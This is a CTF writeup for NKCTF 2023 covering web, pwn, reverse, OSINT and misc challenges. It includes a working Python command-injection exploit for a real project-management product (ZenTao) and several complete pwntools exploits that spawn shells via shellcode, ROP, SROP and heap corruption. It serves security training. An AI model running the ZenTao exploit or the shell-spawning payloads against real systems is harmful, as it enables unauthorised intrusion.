NKCTF 2023 Writeup By Xp0int_m1n1
Web
baby_php
Author: Rieß
反序列化 destruct->tostring->invoke 最后过滤用 cd /;more dir
easy_pms
Author: Rieß
禅道对应版本 rce 漏洞,只能回显一行,用 | sed -n ‘2p’ /flag 没有权限,推测是 suid 提权,用 dd if=/flag |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
proxies = {
# "http": "127.0.0.1:8080",
# "https": "127.0.0.1:8080",
}
def check(url):
url1 = url + 'misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Referer": url + "/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`dd if=/flag|sed -n \'2p\'`'
s = requests.session()
try:
req1 = s.get(url1, proxies=proxies, timeout=5, verify=False, headers=headers)
req3 = s.post(url3, data=data1, proxies=proxies, timeout=5, verify=False, headers=headers2)
req4 = s.post(url4, data=data2, proxies=proxies, timeout=5, verify=False, headers=headers2)
if 'r' in req4.text:
print(url, "")
print(req4.text)
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://11099723-4cdb-460e-b31a-e3d13fce8be4.node4.buuoj.cn:81/"))
Webpagetest
Author: Rieß
webpagetest 对应版本反序列化漏洞 AVD-2022-1474319
Pwn
ezshellcode
Author: she1p
开了随机,本来以为得爆破,调试一下发现随机种子固定了,直接填充足够垃圾数据加个 shellcode 即可
1
2
3
4
5
6
7
8
9
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('ezshell')
elf=ELF('ezshell')
#p=remote('node.yuzhian.com.cn',32306)
shellcode=asm(shellcraft.sh())
payload=b'a'*0x54+shellcode
p.sendlineafter('u can make it in 5 min!\n',payload)
p.interactive()
a_story_of_a_pwner
Author: she1p
给 put 地址,可以泄露 libc 及其他地址,题中三个输入连在一起可以构造 rop 链,再利用栈迁移返回 rop 链即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('story')
libc=ELF('libc.so.6')
elf=ELF('story')
#p=remote('node.yuzhian.com.cn',38914)
acm=0x4050A8
ctf=0x4050A0
love=0x4050B0
rdi=0x0000000000401573
lea_ret=0x000000000040139e
p.sendlineafter('> \n',b'4')
p.recvuntil('I give it up, you can see this. ')
put_addr=int(p.recv(14),16)
success('put_addr:'+hex(put_addr))
libc_base=put_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
success('bin_sh:'+hex(libc_base))
#gdb.attach(p)
#pause()
p.sendlineafter('> \n',b'2')
p.sendlineafter("what's your corment?\n",p64(rdi))
p.sendlineafter('> \n',b'1')
p.sendlineafter("comment?\n",p64(bin_sh))
p.sendlineafter('> \n',b'3')
p.sendlineafter("corMenT?\n",p64(system))
payload=b'a'*0xa+p64(ctf-8)+p64(lea_ret)
p.sendlineafter('> \n',b'4')
p.sendlineafter('read my heart...\n',payload)
p.interactive()
ez_stack
Author: she1p
0x401146 有个 mov rax,15,同时里面函数都是系统调用,所以可以想到 SROP,第一次调用 SROP 读入更多字节,第二次直接构造 ret2syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#context(arch='amd64',os='linux')
p=process('./stack')
elf=ELF('stack')
#p=remote('ctf.comentropy.cn',8303)
syscall_ret=0x40114e
bss=0x404500
rax_15=0x401146
#payload=b'a'*0x10+p64(bss)+p64(0x4011bd)
frame=SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404500
frame.rdx = 0x200
frame.rip = syscall_ret
frame.rsp=0x404500
frame.rbp=0x404500
payload=b'a'*0x18+p64(rax_15)+p64(syscall_ret)+bytes(frame)
p.sendlineafter('of NKCTF!\n',payload)
#sleep(1)
frame2=SigreturnFrame()
frame2.rax = 59
frame2.rdi = 0x404500+0x120
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp=0x404500
frame2.rbp=0x404500
payload2=p64(rax_15)+p64(syscall_ret)+bytes(frame2)
payload2=payload2.ljust(0x120,b'\x00')
payload2+=b'/bin/sh\x00'
p.sendline(payload2)
#gdb.attach(p)
#pause()
p.interactive()
baby_rop
Author: she1p
漏洞点在 my_read 函数,会将读入的总字节的下一位赋为’\x00’,可以第一次先泄露 canary,然后写入 0x100 的内容覆盖 rbp 的最后一位为’\x00’,利用这点控制返回地址,返回 main,再泄露 libc 地址并构造 rop 链,然后再利用 my_read()函数返回即可(但有时打不通,不明白为什么)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=process('boards')
elf=ELF('boards')
p=remote('node2.yuzhian.com.cn',37421)
p.sendlineafter('What is your name: ',b'%41$p')
p.recvuntil('Hello, ')
can=int(p.recv(18),16)
success('can:'+hex(can))
main4=0x401390
ret=0x000000000040101a
payload1=p64(ret)*29+p64(ret)+p64(main4)+p64(can)
p.sendafter(' NKCTF: ',payload1)
p.sendlineafter('What is your name: ',b'%49$p')
#gdb.attach(p)
#pause()
p.recvuntil('Hello, ')
libc_start_main=int(p.recv(14),16)-243
success('libc_start_main:'+hex(libc_start_main))
libc=LibcSearcher('__libc_start_main',libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')
success('libc_base:'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
rdi=0x0000000000401413
payload2=p64(ret)*28+p64(rdi)+p64(bin_sh)+p64(system)+p64(can)
p.sendafter(' NKCTF: ',payload2)
#gdb.attach(p)
#pause()
p.interactive()
baby_heap
Author: she1p
2.32 版本的 libc,地址会与堆基地址右移 12 位后异或再放进去,其中 edit 有个 off-by-one 漏洞,可以利用写下个堆块的 size 位扩大堆块,使得扩大的能覆盖下一个堆块(当时做的时候有点累,exp 中申请的堆块有点乱)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('babyheap')
libc=ELF('libc-2.32.so')
elf=ELF('babyheap')
p=remote('node2.yuzhian.com.cn',36490)
def add(index,size):
p.sendlineafter('our choice: ',b'1')
p.sendlineafter('Enter the index: ',str(index))
p.sendlineafter('Enter the Size: ',str(size))
def edit(index,context):
p.sendlineafter('our choice: ',b'3')
p.sendlineafter('Enter the index: ',str(index))
p.sendlineafter('Enter the content: ',context)
def show(index):
p.sendlineafter('our choice: ',b'4')
p.sendlineafter('Enter the index: ',str(index))
def free(index):
p.sendlineafter('our choice: ',b'2')
p.sendlineafter('Enter the index: ',str(index))
add(0,0x68)
add(1,0x68)
add(2,0x68)
edit(0,b'a'*0x68+b'\x91')
free(1)
add(1,0x80)
free(2)
edit(1,b'a'*0x6f)
show(1)
p.recvuntil(b'a'*0x6f+b'\n')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
edit(1,b'a'*0x68+p64(0x71)+p64(heap_base>>12))
add(2,0x68)
success('heap_base:'+hex(heap_base))
add(14,0x68)
add(15,0x68)
#gdb.attach(p)
#pause()
for i in range(3,10):
add(i,0x88)
add(10,0x68)
add(11,0x88)
add(12,0x68)
edit(9,b'a'*0x88+b'\x91')
free(10)
#gdb.attach(p)
#pause()
add(10,0x80)
for i in range(3,10):
free(i)
free(11)
edit(10,b'a'*0x70)
show(10)
p.recvuntil(b'a'*0x70)
main_arena1=u64(p.recv(6).ljust(8,b'\x00'))-0xa
main_arena=main_arena1-96
success('main_arena:'+hex(main_arena))
libc_base=main_arena-1981344
success('libc_base:'+hex(libc_base))
edit(10,b'a'*0x68+p64(0x91)+p64(main_arena1)+p64(main_arena1)+b'\x00')
for i in range(3,10):
add(i,0x68)
free(14)
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
free1=(heap_base>>12)^free_hook
free(2)
edit(1,b'a'*0x68+p64(0x71)+p64(free1))
add(11,0x68)
add(13,0x68) # free_hook
edit(11,b'/bin/sh')
edit(13,p64(system))
free(11)
#gdb.attach(p)
#pause()
p.interactive()
Reverse
ez_baby_apk
Author: Hur1k
写着是 DES,实际上是 AES-CBC
key 偷换了一下: final String key1 = “reversecarefully”.replaceAll(“e”, “3”);
初始向量经过 md5 处理
PMKF
Author: Hur1k
走迷宫
z3 一把梭
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
s = "******************N...*****...*....***.*****..*...**.*...*****.*****.*.*.**....*..*...*..*....**.*.*..*...***.**...*.*.*******..*****..*......**.*......**.****.**...*****...*K...********************."
for i in range(0,len(s),18):
print(f"{s[i:i+18]}")
path = "ddssaassdssassddwdddddwdwwwwwdwddsddwdddsssasaawaasassdddddssaaa"
print(len(path))
path = path.replace("w","0")
path =path.replace("d","1")
path =path.replace("s","2")
path =path.replace("a","3")
from z3 import *
s = Solver()
input = [BitVec(f'v{_}',8) for _ in range(16)]
print(input)
ctr = 0
for i in range(16):
# s.add(input[i]>=32)
# s.add(input[i]<=128)
# input[i]^=0x15
for j in range(6,-2,-2):
s.add((input[i]>>j)%4==int(path[ctr]))
ctr+=1
if s.check():
print(s.check())
m=s.model()
real_flag=[]
[real_flag.append(m[i]) for i in input]
print(real_flag) #[90, 250, 107, 165, 21, 81, 0, 17, 101, 21, 171, 188, 251, 165, 86, 191]
else:
print('unsat')
xored = [90, 250, 107, 165, 21, 81, 0, 17, 101, 21, 171, 188, 251, 165, 86, 191]
for i in xored:
print(hex(i^0x15)[2:],end=' ')
print()
for i in xored:
print(hex(i)[2:],end=' ')
print(hex(open("d://nk.ctf","rb").read()))
not_a_like
Author: Hur1k
脱壳,改掉节区名,复原即可
动调一半发现是 py 打包的,直接解包,3.8 版本,恢复一下魔数
RC4+RSA
RSA 是低解密指数攻击,别再往 re 塞密码了 qwq()
1
2
3
4
5
6
7
8
import hashlib
import RSAwienerHacker
N = 76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931
e = 19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327
d = RSAwienerHacker.hack_RSA(e,N)
c = 9197325807645612228390676898165339983130548652295654839867942074997683918988965926084503420887591899752302425508517254065925348804993207641876641922956619138627889163346353214827511032968059044881520153145551162531743849668155869037977721861493727920155941109549597908826026808895049130862236739911496237434
m = pow(c, d, N)
print(hex(m))
babyrust
Author: Hur1k
加密逻辑:
- 异或 + 位移
- 变相位移
有几位出错,但是可以直接猜出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
s = ")&n_qFb'NZXpj)*bLDmLnVj]@^_H"
# QNn_qFbONZXpjQRbLDmLnVj]@^_H
s = list(s.encode())
# src = "NKCTF{123456789123456789123}"
# src = list(src.encode())
# for i in range(len(src)):
# src[i] = ((src[i] ^ 0x30)-45) & 0xFF
# print(bytes(src))
for i in range(0,len(s)):
if 0x28<s[i]<0x72:
s[i]-=0x28
s[i]&=0xFF
else:
s[i]-=0xd8
s[i]&=0xFF
# for i in range(16,len(s)):
for i in range(len(s)):
s[i] = ((s[i]+45) & 0xFF) ^ 0x30
print(bytes(s)) # NKCTF{WLcomE_NOfWayBaCk_RuST}
earlier
Author: Hur1k
TLS 两个反调试
jzjnz 花指令
SMC 按 4DWORD 异或加密,密钥 0x2B692
加密逻辑不难,z3 一把梭
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from z3 import *
s = Solver()
input = [BitVec(f'v{_}', 8) for _ in range(42)]
print(input)
enc = [0x83, 0x5D, 0xB1, 0x68, 0xE4, 0xDF, 0xAF, 0x96, 0x47, 0x94, 0xDA, 0xAE, 0x96, 0xB9, 0x86, 0x58, 0xF2, 0x54, 0x1E, 0x87, 0xF5,
0x96, 0xB6, 0x03, 0x16, 0x4C, 0x06, 0xB8, 0xBE, 0x0F, 0x37, 0x6A, 0xD8, 0xA6, 0x7A, 0xED, 0xA5, 0x73, 0x4A, 0xBE, 0x6B, 0xAC]
rtn = [0x73, 0xD0, 0xC6, 0x14, 0xFF, 0x95, 0x0E, 0x22, 0x84, 0x60, 0xCF, 0x11, 0x53, 0x42, 0xF5, 0x70, 0xF8, 0x23, 0x06, 0xC4, 0x97, 0x2F, 0x99, 0x0D, 0xAF, 0x43, 0x8A, 0x65, 0x3C, 0x31, 0xB9, 0x5C, 0x03, 0x2A, 0xDE, 0x52, 0x6D, 0x69, 0x07, 0x9A, 0x81, 0x98, 0x35, 0xC5, 0x4C, 0xEC, 0xC7, 0x57, 0xB8, 0x3A, 0xAC, 0xB4, 0x61, 0xF0, 0x2C, 0xE8, 0xE7, 0xA6, 0x38, 0x4B, 0xCA, 0x7E, 0xE3, 0x62, 0x7A, 0x59, 0x64, 0x2D, 0xD3, 0x77, 0xD1, 0x30, 0x08, 0x46, 0x68, 0x8C, 0x54, 0x5F, 0x6B, 0x3D, 0xA3, 0x05, 0x6C, 0xAD, 0x3B, 0x7C, 0xEE, 0xB7, 0x33, 0xD8, 0xA8, 0x4A, 0x01, 0x8D, 0x4F, 0xF2, 0x6E, 0x3F, 0xA4, 0x79, 0x15, 0x37, 0xB6, 0x7F, 0xB0, 0x66, 0xF4, 0x48, 0x4E, 0xDC, 0x90, 0xD5, 0x29, 0x2B, 0x13, 0x83, 0xAE, 0x7D, 0x50, 0xCD, 0x82, 0x41, 0xEF, 0xF9, 0x86, 0x04, 0x0A, 0xFE, 0x17, 0xC2, 0x8F, 0xB2, 0x02, 0x1A, 0x18, 0x78, 0xD9, 0x67, 0xA1, 0xF1, 0xDA, 0x12, 0x1D, 0x10, 0x9D, 0xE6, 0x0B, 0x8E, 0xE9, 0x1B, 0xFB, 0xB3, 0x87, 0x21, 0xFC, 0x89, 0x9B, 0x39, 0xBD, 0xA2, 0x0F, 0x96, 0x16, 0xA7, 0x24, 0xBF, 0xAA, 0xD2, 0x5E, 0xE5, 0x93, 0x58, 0x1F, 0x76, 0x91, 0xAB, 0xCE, 0xEB, 0xD6, 0x45, 0x74, 0xF7, 0x2E, 0x28, 0xDB, 0x71, 0xD7, 0x6A, 0x9C, 0xBB, 0xC1, 0x75, 0x49, 0x36, 0xF3, 0xEA, 0x20, 0xC9, 0x3E, 0x80, 0xBC, 0x34, 0xFA, 0x5B, 0x32, 0x40, 0x1E, 0xE1, 0x27, 0xDD, 0x26, 0xC0, 0xBE, 0xE0, 0x19, 0x44, 0xF6, 0x5D, 0x7B, 0xE4, 0x92, 0xFD, 0x8B, 0xCC, 0x94, 0xA5, 0x5A, 0xA9, 0x1C, 0x00, 0xBA, 0x85, 0xD4, 0x63, 0x56, 0x0C, 0x4D, 0xDF, 0x6F, 0x25, 0x55, 0xB1, 0xB5, 0x51, 0x72, 0xE2, 0xC8, 0xED, 0x9E, 0xCB, 0xA0, 0x09, 0x88, 0xC3, 0x9F]
rtn_final = [0]*42
tmp1 = 0
tmp2 = 0
for i in range(len(input)):
tmp1 = (tmp1 + 1) % 256
tmp2 = (tmp2 + rtn[tmp1]) % 256
rtn[tmp1], rtn[tmp2] = rtn[tmp2], rtn[tmp1]
rtn_final[i] = rtn[(rtn[tmp2]+rtn[tmp1]) % 256] ^ input[i]
for i in range(len(rtn_final)):
s.add(enc[i]==rtn_final[i])
if s.check():
print(s.check())
m = s.model()
real_flag = []
[real_flag.append(m[i]) for i in input]
print(real_flag)
else:
print('unsat')
Blockchain
Signin
Author: she1p
送分题,进去点几下就能找到 flag:
Social Engineering
real-social-engineering
Author: Hur1k
群主博客
狂飙
Author: she1p
看过电视剧,知道是旧厂街,网上搜一下就可以得到答案:
NKCTF{广东省江门市蓬江区莲平路}
Bridge
Author: she1p
这个桥识图可以发现是世纪大桥,然后 flag 格式有 XX 公园,搜索地图可以发现这个角度大概是在世纪公园
NKCTF{海南省海口市龙华区世纪公园}
两个人的夜晚
Author: she1p
照片有 NCC 新城市中心,搜一下就能找到:
The other bridge
Author: Rieß
通过识图发现是千厮门嘉陵江大桥,根据附近建筑看出位置在崖壁步道,结合格式最终 flag 为 NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}
旅程的开始
Author: Rieß
根据图片上的元和国际和维也纳酒店推出地点在贵州贵阳南明遵义路 86 号附近,最终 flag 为附近的车站 NKCTF{贵州省贵阳市南明区遵义路 1 号}
Misc
THMaster
Author: Hur1k
直接 patch 文件,解密得到存档后 010 查看
hard-misc
Author: Hur1k
b32 解密
blue
Author: she1p
严重非预期,直接 7z 解压,flag 就在:Users\Administrator\flag.txt.txt
三体
Author: she1p
应该非预期了,zsteg 能找到部分 flag 在 blue 通道里,提取 blue 通道找一下得到 flag:
1
2
3
4
5
6
7
8
from PIL import Image
with Image.open('123.bmp') as img:
width, height = img.size
for h in range(height):
for w in range(width):
b = img.getpixel((w, h))[2]
print(chr(b), end="")
easy_bmp
Author: she1p
根据文件名得知修改对应宽高即可,得到 key 后解压得到新图片,可以看到新图片很小,因此猜测这次是宽和高一起修改,改完后扫描二维码得到 flag
easy_word
Author: she1p
4 位不知道,直接爆破,2 个小时得到 password:h4evOF90,word 文档隐藏了文字,显示后复制粘贴到聊天框能发现有一张图片,上面有 key,后面试到是 cloacked-pixel-master 隐写,得到 flag
first spam of rabbit year
Author: she1p
搜索发现是 spammimic 隐写,解出一段佛曰编码,正常解码不行,最下面有段社会核心价值观编码解码是:rabbit 又 move ,搜索发现有佛又曰编码,还需要 key,用 rabbit 做 key 后得到新文本,发现里面有零宽字符隐写,解完得到 Eno0o01G,而刚才的新文本又有“tip:47&13”,去 rot47 和 rot13,rot13 后得到 RabBbB1T,而将刚才新文本 rot47 得到密文,有 rabbit 密码的特征,rabbit 解密后得到 flag(用 RabBbB1T 作为密钥):